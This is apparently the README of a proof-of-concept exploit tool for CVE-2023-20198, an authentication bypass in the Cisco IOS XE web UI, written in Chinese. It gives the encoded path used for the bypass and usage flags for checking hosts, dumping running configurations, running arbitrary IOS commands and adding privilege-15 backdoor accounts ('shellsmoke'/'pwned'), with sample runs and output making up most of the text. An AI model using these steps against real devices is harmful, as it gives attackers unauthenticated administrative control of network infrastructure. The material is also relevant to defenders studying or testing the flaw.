CVE-2023-20198 的漏洞利用 PoC
CVE-2023-20198 的特点是路径验证不当,可绕过 Nginx 过滤并访问 webui_wsma_http Web 端点,而无需进行身份验证。
通过绕过端点身份验证,攻击者可以执行任意 Cisco IOS 命令或使用 Privilege 15 权限发布配置更改。
Cisco 对先前未公开漏洞的活跃利用调查显示,威胁行为者首先利用 CVE-2023-20198 添加了一个具有 Privilege 15 级别的新用户。进一步的攻击涉及利用 CVE-2023-20273 将权限提升到底层 Linux OS 的 root 用户,以协助植入后门。
此 PoC 利用 CVE-2023-20198 来使用两个不同的 XML SOAP 端点:
漏洞检查、配置获取和命令执行选项均针对 cisco:wsma-exec SOAP 端点,将命令插入到 execCLI 元素标签中。
添加用户选项针对 cisco:wsma-config SOAP 端点,以发布配置更改并添加 Privilege 15 账户。该端点可能被[滥]用来进行其他配置更改,但这超出了此 PoC 的范围。
滥用 cisco:wsma-exec SOAP 端点的方法来自 nuclei 模板
滥用 cisco:wsma-config SOAP 端点的方法来自 horizon3ai PoC
注意:我未对此 CVE 进行任何原始研究或 PoC 开发。有关致谢,请参阅参考资料部分。
usage: exploit.py [-h] (-t targetIP | -l targetFile) [-https] (-c | -g | -e command | -a | -d) [-u newUserName] [-p newUserPass] [-o outputFile] [-v]
CVE-2023-20198 漏洞利用 PoC
options:
-h, --help 显示此帮助消息并退出
-t targetIP 目标 IP 地址
-l targetFile 包含 IP 地址的文件(仅与 -c 一起使用)
-https 使用 https
-c [X] 检查是否存在漏洞
-g [X] 获取 Cisco IOS 运行配置
-e command [X] 执行 Cisco IOS 命令
-a [X] 添加新的 priv 15 用户
-d [X] 删除 priv 15 用户
-u newUserName [可选] 用于 -a 或 -d 的用户名。默认:shellsmoke
-p newUserPass [可选] 用于 -a 的新用户密码。默认:pwned
-o outputFile 将输出写入文件
-v 增加详细程度
要检查 CVE-2023-20198,-c 将尝试利用该漏洞执行 uname -a
示例:
# ./exploit.py -t 10.0.0.1 -c
正在测试是否存在漏洞
目标 IP: 10.0.0.1
目标 URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
存在漏洞: 是
IOS 版本: <已编辑> IOS 16.6 Cisco IOS Software [Everest], Catalyst L3 Switch Software (CAT3K_CAA-UNIVERSALK9-M), Version 16.6.5, RELEASE SOFTWARE (fc3)
-g 选项执行 sh run 以获取运行配置
示例:
# ./exploit.py -t 10.0.0.1 -g
Building configuration...
Current configuration : 6988 bytes
!
...
!
version 16.6
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
...
可以使用 -e 选项执行任意 Cisco IOS 命令。
使用此选项进行配置更改时应极为谨慎。没有输入验证,更改会立即应用到运行配置中。
示例:
# ./exploit.py -t 10.0.0.1 -e 'sh log'
选定的目标: 10.0.0.1
以 Exec 模式运行
正在执行命令: sh log
正在向目标 URL 发送漏洞利用请求: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Syslog logging: enabled (0 messages dropped, 1 messages rate-limited, 0 flushes, 0 overruns, xml disabled, filtering disabled)
No Active Message Discriminator.
No Inactive Message Discriminator.
Console logging: level debugging, 5368 messages logged, xml disabled,
filtering disabled
...
-a 选项可用于创建新的 Privilege 15 用户账户,并可分别使用 -u 和 -p 指定账户名和密码。
示例:
# ./exploit.py -t 10.0.0.1 -a -u shellsmoke -p pwned
选定的目标: 10.0.0.1
正在添加新的 Privilege 15 用户
新用户名: shellsmoke
新用户密码: pwned
正在向目标 URL 发送漏洞利用请求: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
添加用户无可见输出
请检查详细输出或获取运行配置
完成。
-d 选项可用于从设备中删除用户账户,并遵循 -u 指定的用户名。
应谨慎使用,确保不会删除合法账户。
添加此选项是为了应对无法获得被利用 Cisco 设备的 shell/WebUI 访问权限的情况。据观察,添加 Privilege 15 用户并不会授予 WebUI 访问权限,并可能在主机上留下利用痕迹。
Cisco 公告
horizon3ai CVE-2023-20198 研究
horizon3ai CVE-2023-20198 PoC